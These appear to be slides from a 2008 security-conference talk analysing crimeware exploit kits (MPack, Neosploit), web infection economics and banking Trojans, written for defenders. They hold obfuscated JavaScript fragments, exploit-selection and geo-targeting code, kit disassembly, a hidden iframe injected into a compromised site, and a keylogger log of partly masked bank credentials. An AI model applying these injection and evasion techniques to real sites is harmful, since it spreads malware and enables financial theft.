

Crimeware on the Net

The “Behind the scenes” of the new web economy

Iftach Ian Amit

Director, Security Research – Finjan

BlackHat Europe, Amsterdam 2008

Who Am I ? (iamit)



- Iftach Ian Amit
 - In Hebrew it makes more sense...
- Director Security Research @ Finjan
- Various security consulting/integration gigs in the past
 - R&D
 - IT
- A helping hand when needed... (IAF)

Today's Agenda



- Terminology
- Past vs. Present – 10,000 feet view
- Business Impact
- Key Characteristics – what does it look like?
 - Anti-Forensics techniques
 - Propagation methods
- What is the motive (what are they looking for)?
- Tying it all up – what does it look like when successful (video).
- Anything in it for us to learn from?
 - Looking forward on extrusion testing methodologies

Some Terminology




- Crimeware – what we refer to most malware these days is actually crimeware – malware with specific goals for making \$\$\$ for the attackers.
- Attackers – not to be confused with malicious code writers, security researchers, hackers, crackers, etc... These guys are the Gordon Gecko's of the web security field. They buy low, and capitalize on the investment.
- Smart (often mislead) guys write the crimeware and get paid to do so.

How Do Cybercriminals Steal Business Data?




Criminals' activity in the cyberspace



Federal Prosecutor: "Cybercrime Is Funding Organized Crime"



Criminals target sensitive business data using crimeware



Federal Prosecutor: "Cybercrime Is Funding Organized Crime"

The Business Impact Of Crimeware



How much is business data worth to criminals?

<p>Financial Report \$5,000</p> 	<p>Product Design \$1,000</p> 	<p>Trojan Log \$300</p> 	
<p>CreditCard + PIN \$500</p> 	<p>Driving License \$150</p> 	<p>SocialSecurity # \$100</p> 	<p>Valid CreditCard \$20</p> 


Key Characteristics of Crimeware



Financially motivated criminals are utilizing new methods to infect PCs with crimeware that steals sensitive data

Propagation Methods

Hosted on compromised legitimate and Web 2.0 sites over the globe with frequent location changes



URL and Reputation-based filtering solutions will not block these sites

Anti-Forensic Methods

Evade signature-based detection by utilizing code obfuscation and controlled exploits visibility in the wild

```
<SCRIPT LANGUAGE="JavaScript">
<!--
xx=String.fromCharCode(60,79,66,74,69,67,84,32,115,116,121,108,10
61,34,108,111,99,97,116,101,34,32,116,121,112,101,61,34,97,112,11
,99,116,34,32,99,108,97,115,115,105,100,61,34,99,108,115,105,100,
51,55,55,45,48,48,97,97,48,48,51,98,55,97,49,49,34,32,99,111,100,
01,114,115,105,111,110,61,53,44,50,44,51,55,57,48,44,49,49,57,52,
,97,110,100,34,32,118,97,108,117,101,61,34,82,101,108,97,116,101,
82,65,77,32,110,97,109,101,61,34,66,117,116,116,111,110,34,32,118
5,77,32,110,97,109,101,61,34,87,105,110,100,111,119,34,32,118,97,
2,13,10,60,80,65,82,65,77,32,110,97,109,101,61,34,73,116,101,109,
15,45,105,116,115,58,99,58,47,119,105,110,100,111,119,115,47,104,
,97,108,116,95,117,114,108,95,101,110,116,101,114,112,114,105,115
document.write=xx;
```

Anti-Virus signatures will not match today's malicious code



- Code Obfuscation
 - Not the one you are used to...
- Single serve exploits
 - One per customer please
- Geographical preference
 - More on this later when we talk \$\$\$...

Dynamic Code Obfuscation



```
<SCRIPT LANGUAGE="JavaScript">  
<!--
```

```
<Script Language= 'JavaScrip (language=write)  
unescape ('%0A%3C%7  
20%64%46%28%73%29%  
%31%29%29%3B%20%76  
4%72%69%6E%67%2E%6  
72%28%73%2E%6C%65%  
%29%3B%7D%3C%2F%73  
2A75szjxhfuj%2A7%3  
%3B%8H%2A7%3A%3C8  
3C%2A7%3A%3C%3A%2A  
2A7%3A%3B8%2A7%3A%  
%3B%2A7%3A%3C7%2A7  
%3A7%3D%2A7%3A%3C8  
A7%3A96%2A7%3A%3C9  
%2A7%3A%3C9%2A7%3A
```

Javascript Encoder

This script will encode javascript to make it more difficult for people to read and/or steal. Just follow the directions below.

1. Enter your javascript (no HTML) in the box below.
2. Select the **Code Key** you want.
3. Press the **Encode** button.

```
<SCRIPT LANGUAGE="javascript">  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic  
Mundo Malicioso Codus!!! Mundo Malicioso Codus!!!Mundo Malicioso Codus!!!Mundo Malic
```

Code Key:

4

Encode

Reset

```
//exploits combination  
if ($browser[name]=="MSIE") {  
  if ($browser[os]!="Windows NT 5.0") { AddIP("Oday"); include 'crypt.php'; include 'megapack1.php'; }  
  if ($browser[os]=="Windows NT 5.0") { AddIP("jar"); include 'ms06-044_w2k.php'; include 'megapack1.php'; }  
}
```

3. Click the "Encode" button.
4. Select all the text that appears in the box below and paste it into your HTML page where you would want the script to be. The pasted code should appear all on one line in your editor, unless you have word-wrap on. Do **not** add any linebreaks (by pressing "Enter") or the script may not work.

Select All...

```
<script  
language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%'))
```

```
A7%3A7F%3DN%2A7%3A  
//-->  
</SCRIPT>
```

Dyn. Code Obf. – the neosploit way (2.0.15)



```
.rodata:08050180 ; char source_fmt_0[]
.rodata:08050180 source_fmt_0 db 'function %s(%s){var %s=arguments.callee.toString().replace(/
.rodata:08050180 ; DATA XREF: js_crypter_format+2EDf0
.rodata:08050180 db '\W/g,',27h,27h,').toUpperCase();var %s;var %s;var %s=%s.leng'
.rodata:08050180 db 'th;var %s;var %s=',27h,27h,';var %s=new Array();for(%s=0;%s<'
.rodata:08050180 db '256;%s++)%s[%s]=0;var %s=1;for(%s=128;%s;%s>>=1) {%s=(%s>>1'
.rodata:08050180 db ')^((%s&1)?3988292384:0);for(%s=0;%s<256;%s+=%s*2) {%s[%s+%s]'
.rodata:08050180 db '=(%s[%s]^%s);if (%s[%s+%s] < 0) {%s[%s+%s]+=4294967296;}}%s'
.rodata:08050180 db '=4294967295;for(%s=0;%s<%s;%s++){%s=%s[(%s^%s.charCodeAt(%s)'
.rodata:08050180 db '&255]^((%s>>8)&16777215);}var %s=new Array();var %s=2323;%s'
.rodata:08050180 db '=^4294967295;if (%s<0) {%s+=4294967296;}%s=%s.toString(16)'
.rodata:08050180 db '.toUpperCase();var %s=new Array();var %s=%s.length;for(%s=0;'
.rodata:08050180 db '%s<8;%s++) {var %s=%s+%s;%s[%s]=1;%s[%s]=%s;if (%s>=8) {%s=%'
.rodata:08050180 db 's-8;%s[%s]=%s.charCodeAt(%s);} else {%s[%s]=48;}}var %s=0;va'
.rodata:08050180 db 'r %s;var %s;var %s;%s=%s.length;%s=%s;%s=1123;%s=%s;for(%s=0'
.rodata:08050180 db ';%s<%s;%s+=2){var %s=%s.substr(%s,2);%s=parseInt(%s,16);%s=%'
.rodata:08050180 db 's-%s[%s];if(%s<0) {%s=%s+256;}%s+=String.fromCharCode(%s);%s'
.rodata:08050180 db '++;%s=3891;if(%s<%s.length-1) {%s++;%s=1092;%s[%s]=20;} else'
.rodata:08050180 db ' {%s=0;%s=%s;}}eval(%s);}',0
.rodata:08050548 ; char a08x[]
.rodata:08050548 a08x db '%08x',0 ; DATA XREF: js_crypter_encode+60f0
```

Obfuscation and IFRAMES




- Have become in 2007 the main driving tools for distributing malware and malicious code in general.
 - They are even signed by AV – while as we see the obfuscation or IFRAME itself may NOT be malicious...

Position	Last month	Malware	Percentage of reports
1	1	Mal/Frame	50.8%
2	2	Mal/ObfJS	19.2%
3	New	Troj/DRClick	14.6%
4	3	Troj/Unif	3.0%
5	4	Troj/Decdec	2.4%
6	5	Troj/Fujif	1.6%
7	Re-entry	Troj/Pintadd	0.9%
8	Re-entry	Troj/Zlobar	0.8%
9	10	Mal/FunDF	0.6%
10	Re-entry	VBS/Haptime	0.5%
Others			5.6%

Source: top 10 web threats in 2007

<http://www.sophos.com/pressoffice/news/articles/2008/01/toptendec07.html>

Crimeware Profile



Crimeware binaries and their URL locations **are changing every hour**

Location, Location, Location



- Have you been to our fine establishment before?
 - You can only get the “good” stuff once...
- Where do you come from?
 - You may not be worth the exposure...

index.php

```
//checks and saves user's IP hashed with browser
//to avoid future browser's hangup
function CheckAddUser() {
...
$count=@mysql_num_rows($res);
if ($count>0) {
    //found data, prevent view
    echo ":[";
    exit;
} else {
    //not found, add
    $query = "INSERT INTO ".$dbstats."_users VALUES
    ('".$ipua."')";
    mysql_query($query);
}
}
```

settings.php:

```
$BlockDuplicates=1; //send exploits only once
$CountReferers=1; //make referrer's statistics
$OnlyDefiniedCoutries=0; //send exploits only to
counties in the list
$CountryList="RU US UA"; //2-letter codes ONLY! (see
readme for details)
```

Source: Mpack 0.94 source code

A glimpse into the code



- Modern toolkits are provided in their binary form, with licensing mechanisms, built in obfuscation, configuration files, user management (for supporting multiple attackers under the same kit), and DB functionality.
- The snippets here are taken from a disassembly of Neosploit version 2.0.15 (first time analysis – in.cgi)

```
License_Verification:  
push edi  
push offset aNeosploit_key  
lea eax, [ebp+string]  
push eax  
lea eax, [ebp+var_188]  
push eax  
call license_load  
add esp, 10h  
test eax, eax  
jz loc_8049918
```

```
...  
call form_parse  
lea edi, [ebp+var_38]  
xor eax, eax  
cld  
mov ecx, 7  
rep stosd  
mov [esp+4E8h+var_4E8], 0  
call _GeoIP_new  
add esp, 10h  
test eax, eax  
mov ebx, eax  
...  
sub esp, 8  
push [ebp+timer]  
push eax  
call _GeoIP_country_id_by_addr  
add esp, 10h  
cmp eax, 0FFh  
jle loc_8049933
```

```
License_load:  
...  
push ebp  
mov ebp, esp  
push edi  
push esi  
push ebx  
sub esp, 38h  
mov ebx, [ebp+arg_0]  
mov edi, [ebp+arg_8]  
push offset aServer_addr  
call _getenv  
add esp, 0Ch  
mov [ebp+var_1C], eax  
push 100h ; size_t  
push 0 ; int  
push ebx ; void *  
call _memset  
mov ecx, [ebp+var_1C]  
add esp, 10h  
xor edx, edx  
test ecx, ecx  
jz short loc_804CC25
```

```
online_test:  
mov [ebp+var_20], 1  
push edx  
push 0 ; int  
push ebx ; void *  
push [ebp+arg_4] ; int  
call connect_to_homeserver  
add esp, 10h  
test eax, eax  
jz short loc_804CDDE
```


Neosploit code



```
sub esp, 0Ch
push [ebp+timer]
call get_ip_hash
add esp, 10h
cmp eax, [ebp+var_468]
jnz loc_8049ABE
```

```
loc_8049BE8:
sub esp, 8
push [ebp+var_7C] ; char *
push [ebp+var_54] ; int
call referer_validate
add esp, 10h
test eax, eax
jnz short loc_8049C07
```

```
push [ebp+var_84]
push [ebp+var_2C]
push offset a?o6PURU
lea ebx, [ebp+var_338]
push ebx
call _sprintf
add esp, 0Ch
push ebx
push offset aData
push offset exp_quicktime_opera
```

```
sub esp, 8
push 0
push [ebp+var_4AC]
call js_crypter_put
mov eax, [ebp+var_4AC]
add esp, 10h
test eax, eax
```

```
...
call js_crypter_put
mov [esp+4E8h+var_4E8], offset aStartquicktime
call add_function
push offset exp_superbuddy_is_decoded
push 0D90FC7h
push 0CAh
push offset exp_superbuddy
call decode_data
add esp, 18h
push 0
push offset exp_superbuddy
call js_crypter_put
mov [esp+4E8h+var_4E8], offset aStartsuperbudd
call add_function
push offset exp_audiofile_is_decoded
push 0A1E716h
push 145h
push offset exp_audiofile
call decode_data
add esp, 18h
push 0
push offset exp_audiofile
call js_crypter_put
mov [esp+4E8h+var_4E8], offset aStartaudiofile
call add_function
push offset exp_gom_is_decoded
push 1F040Ah
push 0D9h
push offset exp_gom
call decode_data
add esp, 18h
push 0
push offset exp_gom
call js_crypter_put
mov [esp+4E8h+var_4E8], offset aStartgom
call add_function
push offset exp_wvf_is_decoded
push 84C0B8h
push 10Dh
push offset exp_wvf
call decode_data
add esp, 18h
push 0
push offset exp_wvf
call js_crypter_put
mov [esp+4E8h+var_4E8], offset aStartwvf
...
```



- How did THAT code turned out on THAT site
 - Anyone remember bankofindia.com?
- Helpful HTML tags (infamous iframes...)
- And of course, bling... \$\$\$

On My Site? No way!



finjan
Vital Security™
securing your web

The screenshot shows a Mozilla Firefox browser window displaying a preview of a website. The main content area features a world map with numerous red location pins, indicating a global presence or data points. To the left of the map is a navigation menu with links such as "Preview", "About Us", "Pregnancy Ultrasound", "Diagnostic Ultrasound", "Packages and Fees", "Gallery", "Contact Us", "Latest News", "Preview's new home", and "4D Ultrasound". Below the map, there is a photograph of a pregnant woman sitting cross-legged. The browser's address bar shows the URL "http://www.████████.com/".

At the bottom of the browser window, the developer tools are open, showing the HTML structure of the page. The console displays the following code snippet:

```
<table id="AutoNumber3" width="922" height="467" cellspacing="0" cellpadding="0">
<table id="AutoNumber15" width="100%" cellspacing="0" cellpadding="0" border="0">
<iframe width="16" scrolling="no" height="16" frameborder="0" src="http://glo..."/>
</body>
</html>
```

The developer tools also show the HTML structure of the map area, including a link to "http://glo...".

Way... It's all business



- You can get paid to put a snippet of HTML on your site that will spur “installations” (= infections). Guaranteed high “install” rate, updated code (remember the toolkit), bypass of security measures...
- ***“The number of legitimate Web sites compromised by attackers has surpassed those purposefully created by attackers”*** – Jan 22nd, Websense security labs.

iframedollars.com - Mozilla Firefox

File Edit View History Bookmarks Tools Help

http://www.iframedollars.com/rates.php?lang=en

Disable Cookies CSS Forms Images Information Miscellaneous Outline Resize Tools

Proxy: None Apply Edit Remove Add Status: Using No Proxy Preferences

[English] [Russian] VIEW STATS

IFRAME CASH HOME TERMS FAQ SIGN UP ABOUT US RATES

Rates

Country:	Price \$ per 1000 uniq loads:
US	120
UK	200
NL	120
FR	120
PL	80
IT	300
DE	200
ES	120
AU	500
GR	120
OTHER	80
ASIA	15

JOIN US AND START MAKING MONEY TODAY!

DO YOU WANT TO EARN MUCH MONEY ON THE TRAFFIC?


SIGNUP TODAY!

WE HOPE TO HAVE A LONG-TERM COOPERATION WITH YOU!

HOME | TERMS | FAQ | SIGN UP | ABOUT US | RATES

Done 1.531s Tor Disabled Proxy: None finjan

Evasive attacks – increasing the infection rates



What's the end game?



- Holy grail of web attacks: successful installation of crimeware Trojan (aka – rootkit+keylogger+otherstuff)

```
Mozilla Firefox
File Edit View History Bookmarks Tools Help
http://9.230.178/...txt
----- 20.04.2007 -----
CompID: 32547
Country: DE
IP: .214.245
OS: 5.1, build 2600, service pack 1
Language: 1031
Version/Botnet: 77/elec

-----
Process: C:\Programme\Internet Explorer\IEXPLORE.EXE
System time: 23:05:58 17.04.2007 GMT: -2:00
Login time: 01:23:10

https://finanzportal.fiducia.de/ebanking;jsessionid=...?Action=L
Keys: 148 1541
Data:


Counter=1
dest=RequestDispatcher
RZBK=0069
RZKZ=XC
BLZ=
Bankname=Volksbank+und+Raiffeisenbank+Eisenach+eG
LID=-598 965
USER=148 3866
ALIAS=
PIN=2 1
OK.x=0
OK.y=0

-----
Process: C:\Programme\Internet Explorer\IEXPLORE.EXE
System time: 23:08:27 17.04.2007 GMT: -2:00
Login time: 01:25:39

https://finanzportal.fiducia.de/ebanking;jsessionid=...?Action=L
Keys: 882386621541
Rathleen 380544 184022,00Artikelnr. 230: 1254 Polsterauflagen NEU
Data:

Counter=3
CurrencyCode=EUR
CancelAction=BLZBack
TargetAction=BLZAccept
NameEmployerHint=false
DestinationName=Rathleen+
DestinationNameExtension=
DestinationNumber=38 67
DestinationBLZ=72 40

Done Tor Enabled Proxy: None finjan
```





- Crimeware analysis showing a sampler of how financial crime is being performed.
- Don't let your eyes off the ball... (the SSL icon?)

Play-by-play...



Charles Schwab - CLWE Initial Full Authentication - Microsoft Internet Explorer

Address: <https://investing.schwab.com/service/?request=SignonService>

charles SCHWAB

Client identification

Privacy and Security

Client identification Please enter the following information:

First Name

Last Name

Social Security # - -

Date of birth / /
mm dd yyyy

Mother's Maiden Name

Secret Question

Secret Answer

Driver's License #

Expiration Date / /
mm dd yyyy

Privacy Policy

We respect your privacy. Schwab will use the information you provide to verify your identity, and may later on use the information you submit to notify you about products and services that you may find useful. Please read our [privacy policy](#) about [online security](#). Our policy is always available for your review on the home page of our web site.

Connection Secured

Privacy Pledge | Security Standards

USB Column:13

And in reality (movie)...



finjan
Vital Security™
securing your web

[Crimeware video showing XXX-bank being targeted.]



The last nail in the coffin of “trusted websites”



finjan
Vital Security™
securing your web

- To conclude – the recent example of website exploitation to distribute crimeware:
 - Using all the techniques detailed in this talk
 - Single point of contact (no data is being pulled from external domains – all self hosted on the compromised webserver)
 - Still financially motivated
 - And to top it all – baffling the security community with how the attack took place to begin with to infect the hosting servers.
- Now let’s talk about a website’s “reputation”...

BGEES
The Black Graduate Engineering and Science Students of U.C. Berkeley

Home | News | Links | Contact Us

Jan 24, 2008 at 08:27 AM

MAIN MENU

- Home
- News
- About Us
- Activities
- Links
- Contact Us
- Search
-
- Academics
- Faculty Databases
- Job Postings
- Professional
- Downloads
- Photos

MEMBER LOGIN

Username
Password

BGEES WEBSITE WELCOME

Written by BGEES
Apr 23, 2007 at 01:41 PM

As new technologies become more important in shaping the future of the world, it is important that all people have a level playing field to shape this trend. Today, there is a shortage of people of African ancestry in America's graduate engineering and science programs. This diminishing pipeline is has contributed to the lack of black faculty in these areas. This lack of diversity has adversely affected America's ability to remain effective in the technological landscape in the 21st century. It is the mission of BGEES to resolve this problem through promotion of diversity. We welcome our fellow underrepresented minorities and others to join in our campaign to change the face of American science and engineering!

As graduate students in engineering and the sciences, the members of BGEES

SEARCH

Enter Keywords:
search...
GO

WHO'S ONLINE

We have 14 guests online

POLLS

Do you believe Barack Obama will win the Democratic nomination?

Yes
 No
 Barack who?

Vote Results

EVENT CALENDAR

January 2008

Su	Mo	Tu	We	Th	Fr	Sa
						1 4 5
						0 11 12
						7 18 19
						4 25 26
						1

aurora
communicating your vision

Welcome

Aurora is a healthcare communications agency that executes creatively targeted campaigns, which demonstrate clear insight, deliver against marketing objectives and guarantee optimal return on investment.

What sets Aurora apart is the straightforward and adaptive approach to achieving your strategic vision. Our ethos is effective as our team cares about, is motivated by, and is committed to securing success.

Aurora is refreshing and credible, recognises the value of people, and is rooted in openness, honesty and trust, always taking the long view of client relationships.

top 20 insights what's new

Home | Vision | Values | Services | Experience | Results | Recruitment | Contact

Member of the Healthcare Communications Association | Client Portal | Legal | Sitemap | Powered by MSD.net | Design by Jelly

Where are we going to?



finjan
Vital Security™
securing your web

- Time for predictions:
 - We are starting to see criminals exploit (pun intended) the full potential of “web2.0”
 - Think trojans that conduct all of their communications over ‘legitimate’ channels over loosely couples web2.0 services
 - Google’s mashup editor, and yahoo’s pipes are great examples of what can be done in terms of back-channel management of data...

So how do I use this?




- Extrusion Testing
 - The ugly half-brother of pen-testing
 - Gaining a lot of momentum
 - Uses tried-and-tested methods (social engineering, passive external fingerprinting, work the CEO's secretary rather than the security administrator...)
- Arsenal includes:
 - Toolkits (told you these things are useful)
 - Updated exploits to recent vulnerabilities
 - Custom infection (you don't want to end up being blocked by an AV when you do have a chance to get in) – not for the faint of heart.
 - Chutzpa (someone come up with an English phrase for it!)

Future directions of web security



- Assuming of course the previous video worked...
- For the full Monty look for our talk on insecurity of widgets and gadgets.
- Another direction – think Web2.0 enabled Trojans...

[Widgets & Gadgets video showing a possible attack vector]





Feel free to drop me a line at
iamit@finjan.com